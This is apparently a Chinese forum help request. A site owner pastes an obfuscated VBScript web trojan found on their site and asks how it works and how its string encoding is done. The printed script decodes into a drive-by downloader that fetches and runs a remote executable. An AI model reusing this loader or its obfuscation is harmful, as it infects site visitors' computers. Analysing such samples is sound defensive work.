关于一个vbscript病毒的问题
<SCRIPT language=vbscript>
hu="琳R~+$#T琳6R*y) '+6#w%},w}{S8lXiy) '+8T琳6666&%6{))&)6){*,${6%{/+琳6666$w} yz#6S68~++'PEE...DGHK0yDy&$E'&'D{/{8琳6666i{+6$w} yz|6S6z&y,${%+Dy){w+{[#{${%+>8&x!{y+8?琳6666$w} yz|D*{+W++) x,+{68y#w** z8B68y#* zPXZOLYKKLCLKwICGGZFCONIWCFFYFJ\YHO[IL8琳6666*+)S8c y)&*&|+Dncb^jjf8琳6666i{+6$w} y/6S6$w} yz|DY){w+{ex!{y+>*+)B88?琳6666+/+wGS8Wz&8琳6666+/+wHS8zxD8琳6666+/+wIS8i+)8琳6666+/+wJS8{w$8琳6666*+)GS+/+wG<+/+wH<+/+wI<+/+wJ琳6666*+)KS*+)G琳6666*{+6i%w${6S6$w} yz|Dy){w+{&x!{y+>*+)KB88?琳6666i%w${D+0'{6S6G琳6666*+)LS8][j8琳6666$w} y/De'{%6*+)LB6$w} yz#B6\w#*{琳6666$w} y/Di{%z琳6666|%w${GS8~wy""KHGDy&$8琳6666*{+6\%w${6S6$w} yz|Dy){w+{&x!{y+>8iy) '+ %}D\ #{i0*+{$ex!{y+8B88?琳6666*{+6+$'%w${6S6\%w${D]{+i'{y w#\&#z{)>H?6琳6666|%w${GS6\%w${DX, #zfw+~>+$'%w${B|%w${G?琳6666i%w${D&'{%琳6666i%w${D.) +{6$w} y/D){*'&%*{X&z0琳6666i%w${D*w-{+&| #{6|%w${GBH琳6666i%w${Dy#&*{琳6666*{+6g%w${6S6$w} yz|Dy){w+{&x!{y+>8i~{##DW''# yw+ &%8B88?琳6666g%w${Di~{##[/{y,+{6|%w${GB88B88B8&'{%8BF琳6666RE*y) '+T琳6666R~{wzT琳6666R+ +#{Tcw} yDX#wy""6最新网马RE+ +#{T琳6666RE~{wzTRx&z0T琳 Ry{%+{)T欢迎测试7REy{%+{)T琳6666REx&z0TRE~+$#T琳"
function UnEncode(temp)
but=22
for i = 1 to len(temp)
if mid(temp,i,1)<> "琳" then
If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
end if
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
document.write(UnEncode(hu))
</SCRIPT>
</SCRIPT>
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上面是这几天一直被一个网页木马骚扰的网站源代码,不了解vbscript,有没有哪个大虾帮忙分析一下?
这个代码好像是解密的,那么加密hu字符串的那个函数怎么实现?